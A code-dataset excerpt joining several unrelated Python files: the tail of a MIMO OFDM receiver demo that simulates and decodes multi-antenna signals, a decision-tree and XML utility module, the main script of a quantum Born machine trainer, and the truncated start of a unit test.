np.squeeze(ofdm_data_time[0])])\r\n # tx_data_sim_cl1 = tx_data_sim_cl1 / max(abs(tx_data_sim_cl1)) # remove if already done in sounder\r\n tx_data_sim_cl2 = 0 * tx_data_sim_cl1\r\n elif num_cl == 2:\r\n tx_data_sim_cl1 = np.concatenate([full_pilot, np.zeros(len(full_pilot)), np.squeeze(ofdm_data_time[0])])\r\n # tx_data_sim_cl1 = tx_data_sim_cl1 / max(abs(tx_data_sim_cl1)) # remove if already done in sounder\r\n tx_data_sim_cl2 = np.concatenate([np.zeros(len(full_pilot)), full_pilot, np.squeeze(ofdm_data_time[1])])\r\n # tx_data_sim_cl2 = tx_data_sim_cl2/max(abs(tx_data_sim_cl2)) # remove if already done in sounder\r\n\r\n # Merge signals (adding data of both)\r\n mult1 = 0.5\r\n mult2 = 1\r\n for andIdx in range(num_bs_ant):\r\n # Alternate magnitude from one antenna to the next\r\n tx_data_sim[andIdx, :] = (mult1 if andIdx % 2 == 0 else mult2) * tx_data_sim_cl1 + \\\r\n (mult2 if andIdx % 2 == 0 else mult1) * tx_data_sim_cl2\r\n\r\n # (2) Pass it through AWGN Channel (each client and BS antenna path independently)\r\n num_samps_full_frame = len(tx_data_sim[0, :])\r\n ofdm_rx_syms_awgn = np.zeros((num_bs_ant, num_samps_full_frame)).astype(complex)\r\n for antIdx in range(num_bs_ant):\r\n noise = 0.015 * (np.random.randn(num_samps_full_frame) + np.random.randn(num_samps_full_frame) * 1j)\r\n ofdm_rx_syms_awgn[antIdx, :] = tx_data_sim[antIdx, :] + noise\r\n # Remove DC\r\n ofdm_rx_syms_awgn[antIdx, :] -= np.mean(ofdm_rx_syms_awgn[antIdx, :])\r\n\r\n # (3) Find pilot\r\n for clIdx in range(num_cl):\r\n this_pilot = ofdm_rx_syms_awgn[antIdx, clIdx*len(full_pilot):(clIdx+1)*len(full_pilot)]\r\n # Flip needed for AWGN data (due to the way we are writing the HDF5 files)\r\n this_pilot, tx_pilot, lts_corr_tmp, pilot_thresh[clIdx, antIdx], best_pk, lts_start[clIdx, antIdx] = pilot_finder(this_pilot, pilot_type, flip=True, pilot_seq=ofdm_pilot)\r\n lts_corr[clIdx, antIdx, :] = lts_corr_tmp\r\n if this_pilot.size == 0:\r\n continue\r\n\r\n # (4) Channel estimation\r\n chan_est_dbg[clIdx, antIdx, :], cfo_est_tmp, lts_evm_tmp = estimate_channel(this_pilot, tx_pilot, ofdm_obj, user_params)\r\n chan_est[num_cells-1, clIdx, antIdx, frameIdx, :] = chan_est_dbg[clIdx, antIdx, :]\r\n cfo_est[num_cells - 1, clIdx, antIdx, frameIdx] = cfo_est_tmp\r\n lts_evm[num_cells - 1, clIdx, antIdx, frameIdx] = lts_evm_tmp\r\n\r\n # (5) Beamsteering weights\r\n bf_weights = beamforming_weights(chan_est[num_cells - 1, :, :, frameIdx, :], user_params)\r\n\r\n # (6) Re-assign\r\n rx_data = ofdm_rx_syms_awgn[:, num_cl*len(full_pilot)::] # [pilot_cl1, pilot_cl2, data_combined]\r\n full_rx_frame = ofdm_rx_syms_awgn\r\n\r\n # (7) Demultiplex streams\r\n streams = demultiplex(rx_data, bf_weights, user_params, metadata, chan_est[num_cells - 1, :, :, frameIdx, :], lts_start)\r\n\r\n # (8) Demodulate streams\r\n rx_data_val, rxSymbols, rxSyms_mat, pilot_sc, data_sc, phase_error = demodulate_data(streams, ofdm_obj, user_params, metadata)\r\n\r\n # (9) Plotter\r\n rxSyms_vec = np.zeros((num_cl, len(data_sc) * n_ofdm_syms)).astype(complex)\r\n for idxCl in range(num_cl):\r\n rxSyms_vec[idxCl, :] = np.reshape(rxSyms_mat[idxCl], (len(data_sc) * n_ofdm_syms), order=\"F\")\r\n\r\n ant_plot = 0\r\n # Correlation across frames.\r\n sc_of_interest = np.sort(np.ndarray.tolist(pilot_sc) + np.ndarray.tolist(data_sc))\r\n H = chan_est_dbg[:, :, sc_of_interest]\r\n Htmp = chan_est[:, :, :, :, sc_of_interest]\r\n # corr_total: one column per client\r\n corr_total[frameIdx, :] = compute_correlation(Htmp, frameIdx)\r\n # Manipulation of channel estimates\r\n chan_est_vec = []\r\n rx_H_est_plot = []\r\n rx_H_est_plot_tmp = []\r\n for clIdx in range(num_cl):\r\n # Dim: chan_est_dbg[numCl, numBsAnt, numSC]\r\n chan_est_vec.append(chan_est_dbg[clIdx, ant_plot, :])\r\n rx_H_est_plot.append(np.squeeze(np.matlib.repmat(complex('nan'), 1, len(chan_est_vec[clIdx]))))\r\n rx_H_est_plot[clIdx][data_sc] = np.squeeze(chan_est_vec[clIdx][data_sc])\r\n rx_H_est_plot[clIdx][pilot_sc] = np.squeeze(chan_est_vec[clIdx][pilot_sc])\r\n rx_H_est_plot_tmp.append(rx_H_est_plot[clIdx])\r\n rx_H_est_plot[clIdx] = np.fft.fftshift(abs(rx_H_est_plot[clIdx]))\r\n # Re-assign\r\n rx_data = full_rx_frame[ant_plot, :]\r\n\r\n # Update plotter data\r\n this_plotter.set_data(frameIdx,\r\n tx_sig, # tx[num clients][num samples]\r\n rx_data, # [numBsAnt, symLen]\r\n chan_est_vec, # [numCl][fft size]\r\n rx_H_est_plot, # rx_H_est_plot[numCl][fft_size]\r\n lts_corr[:, ant_plot, :], # [numCl, numBsAnt, sym_len+fft_size-1]\r\n pilot_thresh[:, ant_plot], # [numCl, numBsAnt]\r\n rxSyms_vec, # [numCl, num data sc * num ofdm sym]\r\n corr_total, # [num frames, numCl]\r\n ofdm_tx_syms, # tx symbols [numClients, data length]\r\n user_params,\r\n metadata)\r\n\r\n elif rx_mode == \"REPLAY\":\r\n for frameIdx in range(num_frames):\r\n for clIdx in range(num_cl):\r\n for antIdx in range(num_bs_ant):\r\n # Put I/Q together\r\n # Dims pilots: (frames, numCells, numClients, numAntennasAtBS, numSamplesPerSymbol*2)\r\n I = pilot_samples[frameIdx, num_cells - 1, clIdx, antIdx, 0:sym_len * 2:2] / 2 ** 15\r\n Q = pilot_samples[frameIdx, num_cells - 1, clIdx, antIdx, 1:sym_len * 2:2] / 2 ** 15\r\n IQ = I + (Q * 1j)\r\n\r\n # Remove DC\r\n IQ -= np.mean(IQ)\r\n\r\n IQ_pilots[num_cells - 1, clIdx, antIdx, :] = IQ # For 'plotter' use\r\n\r\n # Find potential pilots. tx_pilot is a \"struct\" with dims: [lts_time seq, lts_freq seq]\r\n # No need to flip for OTA captures\r\n this_pilot, tx_pilot, lts_corr_tmp, pilot_thresh[clIdx, antIdx], best_pk, lts_start[clIdx, antIdx] = pilot_finder(IQ, pilot_type, flip=True, pilot_seq=ofdm_pilot)\r\n if this_pilot.size == 0:\r\n continue\r\n\r\n lts_corr[clIdx, antIdx, :] = lts_corr_tmp\r\n peak_index[clIdx, antIdx, frameIdx] = best_pk\r\n\r\n # Channel estimation from pilots\r\n chan_est_tmp, cfo_est_tmp, lts_evm_tmp = estimate_channel(this_pilot, tx_pilot, ofdm_obj, user_params)\r\n chan_est[num_cells - 1, clIdx, antIdx, frameIdx, :] = chan_est_tmp\r\n cfo_est[num_cells - 1, clIdx, antIdx, frameIdx] = cfo_est_tmp\r\n lts_evm[num_cells - 1, clIdx, antIdx, frameIdx] = lts_evm_tmp\r\n\r\n # Measure noise at each BS antenna - for MMSE\r\n # TODO\r\n\r\n # PER FRAME\r\n # Steering weight computation after collecting pilots at all antennas from all clients\r\n bf_weights = beamforming_weights(chan_est[num_cells-1, :, :, frameIdx, :], user_params)\r\n\r\n # Get data samples\r\n # Dims data: (frames, numCells, ulSymsPerFrame, numAntennasAtBS, numSamplesPerSymbol*2)\r\n for ulSymIdx in range(num_ul_syms):\r\n Q = data_samples[frameIdx, num_cells-1, ulSymIdx, :, 0:sym_len*2:2] / 2 ** 15 # 32768\r\n I = data_samples[frameIdx, num_cells-1, ulSymIdx, :, 1:sym_len*2:2] / 2 ** 15 # 32768\r\n IQ = Q + (I * 1j) # QI, not IQ\r\n\r\n # Remove DC\r\n IQ -= np.mean(IQ)\r\n\r\n # Demultiplexing - Separate streams\r\n this_chan_est = chan_est[num_cells - 1, :, :, frameIdx, :]\r\n streams = demultiplex(IQ, bf_weights, user_params, metadata, this_chan_est, lts_start)\r\n\r\n rx_data_val, rxSymbols, rxSyms_mat, pilot_sc, data_sc, phase_error = demodulate_data(streams, ofdm_obj, user_params, metadata)\r\n rxSyms_vec = np.reshape(rxSyms_mat, (num_cl, len(data_sc) * n_ofdm_syms), order=\"F\")\r\n \r\n # Plotter\r\n ant_plot = 3\r\n cell_plot = 0\r\n # Correlation across frames.\r\n sc_of_interest = np.sort(np.ndarray.tolist(pilot_sc) + np.ndarray.tolist(data_sc))\r\n H = chan_est[:, :, :, :, sc_of_interest]\r\n # corr_total: one column per client\r\n corr_total[frameIdx, :] = compute_correlation(H, frameIdx)\r\n\r\n # Manipulation of channel estimates\r\n chan_est_vec = []\r\n rx_H_est_plot = []\r\n rx_H_est_plot_tmp = []\r\n rx_data = []\r\n for clIdx in range(num_cl):\r\n # Dim: chan_est[numCells, numCl, numBsAnt, numFrame, numSC]\r\n chan_est_vec.append(chan_est[num_cells - 1, clIdx, ant_plot, frameIdx, :])\r\n rx_H_est_plot.append(np.squeeze(np.matlib.repmat(complex('nan'), 1, len(chan_est_vec[clIdx]))))\r\n rx_H_est_plot[clIdx][data_sc] = np.squeeze(chan_est_vec[clIdx][data_sc])\r\n rx_H_est_plot[clIdx][pilot_sc] = np.squeeze(chan_est_vec[clIdx][pilot_sc])\r\n rx_H_est_plot_tmp.append(rx_H_est_plot[clIdx])\r\n rx_H_est_plot[clIdx] = np.fft.fftshift(abs(rx_H_est_plot[clIdx]))\r\n\r\n # Grab RX frame at one antenna. Need to put together pilots from all users and data IQ\r\n rx_data.extend(IQ_pilots[cell_plot, clIdx, ant_plot, :])\r\n rx_data.extend(IQ[ant_plot, :])\r\n\r\n # Calculate Statistics - TODO\r\n # rx_stats(tx syms, rx syms, CFO, LTS EVM, )\r\n cfo_est_tmp = cfo_est[num_cells - 1, :, :, frameIdx]\r\n lts_evm_tmp = lts_evm[num_cells - 1, :, :, frameIdx]\r\n # if cl_present:\r\n # rx_stats(ofdm_data, rx_data_val, cfo_est_tmp, lts_evm_tmp,\r\n # metadata, n_ofdm_syms, ofdm_obj, phase_error)\r\n\r\n debug = False\r\n if debug:\r\n print(\"Frame: {} \\t Sample Offset: {}\".format(frameIdx, lts_start))\r\n fig = plt.figure(100)\r\n\r\n # TX/RX Constellation\r\n ax1 = fig.add_subplot(5, 1, 1)\r\n ax1.grid(True)\r\n ax1.plot(np.real(rxSyms_vec), np.imag(rxSyms_vec), 'bo', label='RXSym')\r\n ax1.plot(np.real(ofdm_tx_syms), np.imag(ofdm_tx_syms), 'rx', label='TXSym')\r\n ax1.axis([-1.5, 1.5, -1.5, 1.5])\r\n\r\n # RX Signal\r\n ax2 = fig.add_subplot(5, 1, 2)\r\n ax2.grid(True)\r\n ax2.set_title('Waveform capture')\r\n ax2.plot(np.real(rx_data), label='ChA Re')\r\n ax2.plot(np.imag(rx_data), label='ChA Im')\r\n ax2.set_ylim(-0.5, 0.5)\r\n\r\n # Phase Error\r\n ax3 = fig.add_subplot(5, 1, 3)\r\n ax3.grid(True)\r\n ax3.set_title('Phase Error')\r\n ax3.plot(range(0, len(phase_error[0])), phase_error[0]) # client0\r\n ax3.set_ylim(-3.2, 3.2)\r\n ax3.set_xlim(0, 5)\r\n\r\n # Channel estimate\r\n x_ax = (20 / fft_size) * np.array(range(-(fft_size // 2), (fft_size // 2)))\r\n ax4 = fig.add_subplot(5, 1, 4)\r\n ax4.grid(True)\r\n ax4.set_title('Chan Est.')\r\n ax4.bar(x_ax, rx_H_est_plot[0], width=0.32)\r\n\r\n # Channel estimate IQ\r\n ax5 = fig.add_subplot(5, 1, 5)\r\n ax5.grid(True)\r\n ax5.set_title('Chan Est. IQ')\r\n ax5.step(x_ax - (20 // (2 * fft_size)), np.fft.fftshift(np.real(rx_H_est_plot_tmp[0])))\r\n ax5.step(x_ax - (20 // (2 * fft_size)), np.fft.fftshift(np.imag(rx_H_est_plot_tmp[0])))\r\n ax5.set_xlim(min(x_ax), max(x_ax))\r\n ax5.set_xlim(-12, 12)\r\n # ax5.set_ylim(-1.1 * min(abs(rx_H_est_plot_tmp[0])), 1.1 * max(abs(rx_H_est_plot_tmp[0])))\r\n ax5.set_ylim(-5, 5)\r\n plt.show()\r\n\r\n # Update plotter data\r\n this_plotter.set_data(frameIdx,\r\n tx_sig, # tx[num clients][num samples]\r\n rx_data, # [numBsAnt, symLen]\r\n chan_est_vec, # [numCl][fft size]\r\n rx_H_est_plot, # rx_H_est_plot[numCl][fft_size]\r\n lts_corr[:, ant_plot, :], # [numCl, numBsAnt, sym_len+fft_size-1]\r\n pilot_thresh[:, ant_plot], # [numCl, numBsAnt]\r\n rxSyms_vec, # [numCl, num data sc * num ofdm sym]\r\n corr_total, # [num frames, numCl]\r\n ofdm_tx_syms, # tx symbols [numClients, data length]\r\n user_params,\r\n metadata)\r\n\r\n else:\r\n # else if real-time (OTA)\r\n raise Exception(\"Realtime (OTA) not yet supported\")\r\n\r\n print(\"Exiting RX Thread\")\r\n\r\n\r\ndef signal_handler(sig, frame):\r\n \"\"\"\r\n SIGINT signal handler\r\n \"\"\"\r\n print(\"SIG HANDLER!\")\r\n global running\r\n print('Caught signal %d' % sig)\r\n # stop tx/rx threads\r\n running = False\r\n signal.pause()\r\n sys.exit()\r\n\r\n\r\n#########################################\r\n# Main #\r\n#########################################\r\nif __name__ == '__main__':\r\n # Start main program\r\n signal.signal(signal.SIGTERM, signal_handler)\r\n signal.signal(signal.SIGINT, signal_handler)\r\n print('To terminate, press Ctrl+C')\r\n\r\n parser = OptionParser()\r\n # Params\r\n parser.add_option(\"--file\", type=\"string\", dest=\"file\", default=\"../IrisUtils/data_in/Argos-2019-12-3-16-16-24_1x64x2.hdf5\", help=\"HDF5 filename to be read in AWGN or REPLAY mode [default: %default]\")\r\n #parser.add_option(\"--file\", type=\"string\", dest=\"file\", default=\"../IrisUtils/data_in/Argos-2019-8-16-15-35-59_1x8x1_FULL_LTS.hdf5\", help=\"HDF5 filename to be read in AWGN or REPLAY mode [default: %default]\")\r\n parser.add_option(\"--mode\", type=\"string\", dest=\"mode\", default=\"AWGN\", help=\"Options: REPLAY/AWGN/OTA [default: %default]\")\r\n parser.add_option(\"--bfScheme\", type=\"string\", dest=\"bf_scheme\", default=\"ZF\", help=\"Beamforming Scheme. Options: ZF (for now) [default: %default]\")\r\n parser.add_option(\"--cfoCorr\", action=\"store_true\", dest=\"cfo_corr\", default=False, help=\"Apply CFO correction [default: %default]\")\r\n parser.add_option(\"--sfoCorr\", action=\"store_true\", dest=\"sfo_corr\", default=True, help=\"Apply SFO correction [default: %default]\")\r\n parser.add_option(\"--phaseCorr\", action=\"store_true\", dest=\"phase_corr\", default=True, help=\"Apply phase correction [default: %default]\")\r\n parser.add_option(\"--fftOfset\", type=\"int\", dest=\"fft_offset\", default=6, help=\"FFT Offset:# CP samples for FFT [default: %default]\")\r\n parser.add_option(\"--numClPlot\", type=\"int\", dest=\"num_cl_plot\",default=2, help=\"Number of clients to plot. Max of 2 [default: %default]\")\r\n (options, args) = parser.parse_args()\r\n\r\n # Params\r\n user_params = [options.mode,\r\n options.bf_scheme,\r\n options.cfo_corr,\r\n options.sfo_corr,\r\n options.phase_corr,\r\n options.fft_offset\r\n ]\r\n\r\n # File\r\n filename = options.file\r\n\r\n # Rx Application. Matplotlib GUI needs to run on main thread.\r\n num_cl_plot = options.num_cl_plot # number of clients to plot\r\n this_plotter = OFDMplotter(num_cl_plot)\r\n\r\n # rx_app(filename, user_params, this_plotter)\r\n # RX app thread\r\n rxth = threading.Thread(target=rx_app, args=(filename, user_params, this_plotter))\r\n rxth.start()\r\n\r\n # Start animation\r\n this_plotter.animate()\r\n","repo_name":"aroyphillips/RENEW","sub_path":"PYTHON/DEMOS/MMIMO_RECEIVER.py","file_name":"MMIMO_RECEIVER.py","file_ext":"py","file_size_in_byte":47428,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"35410356897","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import precision_score\nfrom sklearn import metrics\nfrom sklearn import tree\nimport pydotplus\nimport re\nimport os\nimport xml.etree.cElementTree as et\nfrom sklearn.model_selection import cross_val_score\nimport matplotlib.pyplot as plt\n\ndef get_best_tree_depth(x,y):\n depth_score = []\n\n for i in range(1, 17):\n clf = tree.DecisionTreeClassifier(max_depth=i,class_weight='balanced')\n scores = cross_val_score(estimator=clf, X=x, y=y, cv=7, n_jobs=4)\n depth_score.append(scores.mean())\n\n #wykres doboru glebokosci drzewa\n #x = list(range(1, 17))\n #plt.plot(x,depth_score)\n #plt.xticks(x)\n #plt.ylabel('miara skuteczności')\n #plt.xlabel('głębokość drzewa')\n #plt.title('Dobór optymalnej głębokości drzewa decyzyjnego')\n #plt.show()\n\n depth = np.argmax(depth_score) + 1\n accuracy = depth_score[depth]\n\n return depth,accuracy,np.array(depth_score).std()*2\n\ndef xml_to_pd(xml_file,isForPred):\n parsed_xml = et.parse(xml_file)\n dfcols = ['index', 'school', 'sex', 'age','adress','traveltime','failures','schoolsup',\n 'activities','absences','finalGrade','subject','recentAvgGradeScore']\n df_xml = pd.DataFrame(columns=dfcols)\n\n for node in parsed_xml.getroot():\n index = node.find('index')\n school = node.find('school')\n sex = node.find('sex')\n age = node.find('age')\n adress = node.find('adress')\n traveltime = node.find('traveltime')\n failures= node.find('failures')\n schoolsup = node.find('schoolsup')\n activities = node.find('activities')\n absences = node.find('absences')\n finalGrade = node.find('finalGrade')\n subject = node.find('subject')\n recentAvgGradeScore = node.find('recentAvgGradeScore')\n\n\n df_xml = df_xml.append(\n pd.Series([getvalueofnode(index), getvalueofnode(school), getvalueofnode(sex),\n getvalueofnode(age),getvalueofnode(adress),getvalueofnode(traveltime),\n getvalueofnode(failures),getvalueofnode(schoolsup),\n getvalueofnode(activities),getvalueofnode(absences),\n getvalueofnode(finalGrade),getvalueofnode(subject),\n getvalueofnode(recentAvgGradeScore)], index=dfcols),\n ignore_index=True)\n\n if(isForPred):\n df_xml = df_xml.drop(['finalGrade'], axis=1)\n\n return df_xml\n\ndef getvalueofnode(node):\n return node.text if node is not None else None\n\ndef to_xml(df, filename=None, mode='w'):\n xml = []\n\n\n def row_to_xml(row):\n xml.append('<student>')\n for i, col_name in enumerate(row.index):\n xml.append(' <{0}>{1}</{0}>'.format(col_name, row.iloc[i]))\n xml.append('</student>')\n return '\\n'.join(xml)\n\n '\\n'.join(df.apply(row_to_xml, axis=1))\n\n xml.insert(0,'<data>')\n xml.append('</data>')\n\n str = '\\n'.join(xml)\n if filename is None:\n return str\n with open(filename, mode) as f:\n f.write(str)\n","repo_name":"nataemi/EDM","sub_path":"EDM/Lib.py","file_name":"Lib.py","file_ext":"py","file_size_in_byte":3141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72946364312","text":"## @package run_and_compare\r\n# This is the main module for this project.\r\n#\r\n# More details.\r\n\r\nimport math\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import animation, style\r\nfrom param_init import NetworkParams\r\nfrom file_operations_out import PrintFinalParamsToFile, PrintDataToFiles, MakeDirectory, PrintFinalParamsToFile\r\nfrom file_operations_in import DataImport, DataDictFromFile\r\nfrom train_plot import CostPlot\r\nfrom cost_function_train import TrainBorn\r\n\r\nfrom random import shuffle\r\nfrom auxiliary_functions import TrainTestPartition, num_bytes_needed\r\nfrom pyquil.api import get_qc\r\nimport sys\r\nimport os\r\nimport time\r\n## This function gathers inputs from file\r\n#\r\n# @param[in] file_name name of file to gather inputs from\r\n# \r\n# @param[out] N_epochs number of epochs\r\n# @param[out] data_type\r\n# @param[out] N_data_samples\r\n# @param[out] N_born_samples\r\n# @param[out] N_kernel_samples\r\n# @param[out] batch_size\r\n# @param[out] kernel_type\r\n# @param[out] cost_func\r\n# @param[out] device_name\r\n# @param[out] as_qvm_value\r\n#\r\n# @returns listed parameters\r\ndef get_inputs(file_name):\r\n \r\n with open(file_name, 'r') as input_file:\r\n \r\n input_values = input_file.readlines()\r\n\r\n N_epochs = int(input_values[0])\r\n learning_rate = float(input_values[1])\r\n data_type = str(input_values[2])\r\n data_type = data_type[0:len(data_type) - 1]\r\n N_data_samples = int(input_values[3])\r\n N_born_samples = int(input_values[4])\r\n N_kernel_samples = int(input_values[5])\r\n batch_size = int(input_values[6])\r\n kernel_type = str(input_values[7])\r\n kernel_type = kernel_type[0:len(kernel_type) - 1]\r\n cost_func = str(input_values[8])\r\n cost_func = cost_func[0:len(cost_func) - 1]\r\n device_name = str(input_values[9])\r\n device_name = device_name[0:len(device_name) - 1]\r\n\r\n if int(input_values[10]) == 1:\r\n as_qvm_value = True\r\n else:\r\n as_qvm_value = False\r\n\r\n score = str(input_values[11])\r\n score = score[0:len(score) - 1]\r\n\r\n stein_eigvecs = int(input_values[12])\r\n stein_eta = float(input_values[13])\r\n\r\n stein_params = {}\r\n stein_params[0] = score #Choice of method to approximate Stein Score: score\r\n stein_params[1] = stein_eigvecs #Number of Nystrom Eigenvectors, J for spectral_stein method: J\r\n stein_params[2] = stein_eta #regularization paramter for identity_stein method: \\chi\r\n stein_params[3] = kernel_type #Kernel for computing Stein Score, set to be the same as kernel used in Stein Discrpancy \r\n \r\n '''Number of samples:'''\r\n N_samples = [N_data_samples,\\\r\n N_born_samples,\\\r\n batch_size,\\\r\n N_kernel_samples]\r\n sinkhorn_eps = float(input_values[14])\r\n run = int(input_values[15])\r\n\r\n return N_epochs, learning_rate, data_type, N_samples, kernel_type, cost_func, device_name, as_qvm_value, stein_params, sinkhorn_eps, run\r\n\r\ndef SaveAnimation(framespersec, fig, N_epochs, N_qubits, N_born_samples, cost_func, kernel_type, data_exact_dict, born_probs_list, axs, N_data_samples):\r\n \r\n Writer = animation.writers['ffmpeg']\r\n\r\n writer = Writer(fps=framespersec, metadata=dict(artist='Me'), bitrate=-1)\r\n \r\n ani = animation.FuncAnimation(fig, animate, frames=len(born_probs_list), fargs=(N_qubits, N_born_samples, kernel_type, data_exact_dict, born_probs_list, axs, N_data_samples), interval = 10)\r\n \r\n animations_path = './animations/'\r\n MakeDirectory(animations_path)\r\n \r\n ani.save(\"animations/%s_%iQbs_%s_Kernel_%iSamples_%iEpochs.mp4\" \\\r\n %(cost_func[0:1], N_qubits, kernel_type[0][0], N_born_samples, N_epochs))\r\n\r\n plt.show(block=False) \r\n plt.pause(1)\r\n plt.close()\r\ndef PlotAnimate(N_qubits, N_epochs, N_born_samples, cost_func, kernel_type, data_exact_dict):\r\n \r\n plt.legend(prop={'size': 7}, loc='best').draggable()\r\n \r\n plots_path = './plots/'\r\n MakeDirectory(plots_path)\r\n plt.savefig(\"plots/%s_%iQbs_%s_%iBSamps_%iEpoch.pdf\" \\\r\n %(cost_func[0], N_qubits, kernel_type[0][0], N_born_samples, N_epochs))\r\n \r\n fig, axs = plt.subplots()\r\n \r\n axs.set_xlabel(\"Outcomes\")\r\n axs.set_ylabel(\"Probability\")\r\n axs.legend(('Born Probs','Data Probs'))\r\n axs.set_xticks(range(len(data_exact_dict)))\r\n axs.set_xticklabels(list(data_exact_dict.keys()),rotation=70)\r\n axs.set_title(\"%i Qubits, %s Kernel, %i Born Samples\" \\\r\n %(N_qubits, kernel_type[0][0], N_born_samples))\r\n \r\n plt.tight_layout()\r\n \r\n return fig, axs\r\n\r\ndef animate(i, N_qubits, N_born_samples, kernel_type, data_exact_dict, born_probs_list, axs, N_data_samples):\r\n plot_colour = ['r', 'b']\r\n axs.clear()\r\n x = np.arange(len(data_exact_dict))\r\n axs.bar(x, born_probs_list[i].values(), width=0.2, color= plot_colour[0], align='center')\r\n axs.bar(x-0.2, data_exact_dict.values(), width=0.2, color='b', align='center')\r\n axs.set_title(\"%i Qbs, %s Kernel, %i Data Samps, %i Born Samps\" \\\r\n %(N_qubits, kernel_type[0][0], N_data_samples, N_born_samples))\r\n axs.set_xlabel(\"Outcomes\")\r\n axs.set_ylabel(\"Probability\")\r\n axs.legend(('Born Probs','Data Probs'))\r\n axs.set_xticks(range(len(data_exact_dict)))\r\n axs.set_xticklabels(list(data_exact_dict.keys()),rotation=70)\r\n \r\ndef bytes_to_int(bytes_list):\r\n total = 0\r\n for byte in bytes_list:\r\n total *= 256\r\n total += byte\r\n\r\n return total\r\n\r\ndef read_ints_from_file(N_qubits, N_data_samples, f):\r\n int_list = [0] * N_data_samples\r\n bytes_list = list(f.read())\r\n for sample in range(N_data_samples):\r\n int_list[sample] = bytes_to_int(bytes_list[sample * num_bytes_needed(N_qubits):(sample + 1) * num_bytes_needed(N_qubits)])\r\n\r\n return int_list\r\n\r\n\r\n## This is the main function\r\ndef main():\r\n\r\n if len(sys.argv) != 2:\r\n sys.exit(\"[ERROR] : There should be exactly one input. Namely, a txt file containing the input values. Please see the README.md file for more details.\")\r\n else:\r\n N_epochs, learning_rate, data_type, N_samples, kernel_type,cost_func, device_name, as_qvm_value, stein_params, sinkhorn_eps, run = get_inputs(sys.argv[1])\r\n \r\n if type(device_name) is not str:\r\n raise ValueError('The device name must be a string')\r\n if (as_qvm_value is not True and as_qvm_value is not False):\r\n raise ValueError('\\'as_qvm_value\\' must be an integer, either 0, or 1')\r\n\r\n qc = get_qc(device_name, as_qvm = as_qvm_value) \r\n N_qubits = len(qc.qubits())\r\n data_circuit_choice = 'IQP'\r\n\r\n N_data_samples = N_samples[0]\r\n N_born_samples = N_samples[1]\r\n\r\n if data_type == 'Quantum_Data':\r\n\r\n try:\r\n data_samples= list(np.loadtxt('data/Quantum_Data_%iQBs_%iSamples_%sCircuit' % (N_qubits, N_data_samples, data_circuit_choice), dtype = str))\r\n except:\r\n PrintDataToFiles(data_type, N_data_samples, qc, data_circuit_choice, N_qubits)\r\n data_samples = list(np.loadtxt('data/Quantum_Data_%iQBs_%iSamples_%sCircuit' % (N_qubits, N_data_samples, data_circuit_choice), dtype = str))\r\n\r\n elif data_type == 'Bernoulli_Data':\r\n \r\n try:\r\n with open('binary_data/Bernoulli_Data_%iQBs_%iSamples' % (N_qubits, N_data_samples), 'rb') as f:\r\n data_samples_orig = read_ints_from_file(N_qubits, N_data_samples, f)\r\n\r\n except:\r\n PrintDataToFiles(data_type, N_data_samples, qc, data_circuit_choice, N_qubits)\r\n with open('binary_data/Bernoulli_Data_%iQBs_%iSamples' % (N_qubits, N_data_samples), 'rb') as f:\r\n data_samples_orig = read_ints_from_file(N_qubits, N_data_samples, f)\r\n\r\n print(\"read data =\")\r\n data_samples_orig\r\n data_samples = np.zeros((N_data_samples, N_qubits), dtype = int)\r\n\r\n for sample in range(0, N_data_samples):\r\n \r\n temp = data_samples_orig[sample]\r\n\r\n for outcome in range(0, N_qubits):\r\n\r\n data_samples[sample, N_qubits - 1 - outcome] = temp % 2\r\n temp >>= 1\r\n\r\n else:\r\n sys.exit(\"[ERROR] : data_type should be either 'Quantum_Data' or 'Bernoulli_Data'\")\r\n \r\n np.random.shuffle(data_samples)\r\n\r\n #Split data into training/test sets\r\n data_train_test = TrainTestPartition(data_samples)\r\n\r\n random_seed = 0\r\n\r\n #Parameters, J, b for epoch 0 at random, gamma = constant = pi/4\r\n #Set random seed to 0 to initialise the actual Born machine to be trained\r\n initial_params = NetworkParams(qc, random_seed)\r\n\r\n data_exact_dict = DataDictFromFile(data_type, N_qubits, 'infinite', data_circuit_choice)\r\n t0 = time.time()\r\n loss, circuit_params, born_probs_list, empirical_probs_list = TrainBorn(qc, cost_func, initial_params, \\\r\n N_epochs, N_samples, data_train_test, data_exact_dict, \\\r\n kernel_type, 'Precompute', learning_rate, \\\r\n stein_params, sinkhorn_eps)\r\n\r\n\r\n t1 = time.time()\r\n print('Execution Time is:', t1-t0) \r\n # plt.figure(1) \r\n\r\n # CostPlot(N_qubits, kernel_type, data_train_test, N_samples, cost_func, loss, circuit_params, born_probs_list, empirical_probs_list)\r\n \r\n\r\n # fig, axs = PlotAnimate(N_qubits, N_epochs, N_born_samples, cost_func, kernel_type, data_exact_dict)\r\n # SaveAnimation(5, fig, N_epochs, N_qubits, N_born_samples, cost_func, kernel_type, data_exact_dict, born_probs_list, axs, N_data_samples)\r\n \r\n\r\n PrintFinalParamsToFile(cost_func, data_type, data_circuit_choice, N_epochs, \\\r\n learning_rate, loss, circuit_params, data_exact_dict, born_probs_list, empirical_probs_list, \\\r\n qc, kernel_type, N_samples, stein_params, sinkhorn_eps, run)\r\n\r\nif __name__ == \"__main__\":\r\n\r\n main() \r\n","repo_name":"BrianCoyle/IsingBornMachine","sub_path":"run_and_compare.py","file_name":"run_and_compare.py","file_ext":"py","file_size_in_byte":10696,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"5"} +{"seq_id":"33392141271","text":"# Project: Project Diamond, Application Five Unit Test\r\n# Purpose Details: Tests functionality of Application Five's methods.\r\n# Course: IST 411\r\n# Author: Sciophobia (Timothy)\r\n# Date Developed: 10/31/2021\r\n# Last Date Changed: 10/31/2021\r\n# Rev: 1\r\nimport unittest\r\n\r\nfrom APP5 import App5\r\n\r\n\r\nclass MyTestCase(unittest.TestCase):\r\n\r\n def test_log(self):\r\n print(\"***test_log***\")\r\n A5 = App5\r\n self.assertEqual(A5.log(A5, \"Unit Test\", \"Testing logging connection\"), {'nodeName': \"Unit Test\", 'activityDescription': \"Testing logging connection\"})\r\n\r\n if __name__ == '__main__':\r\n 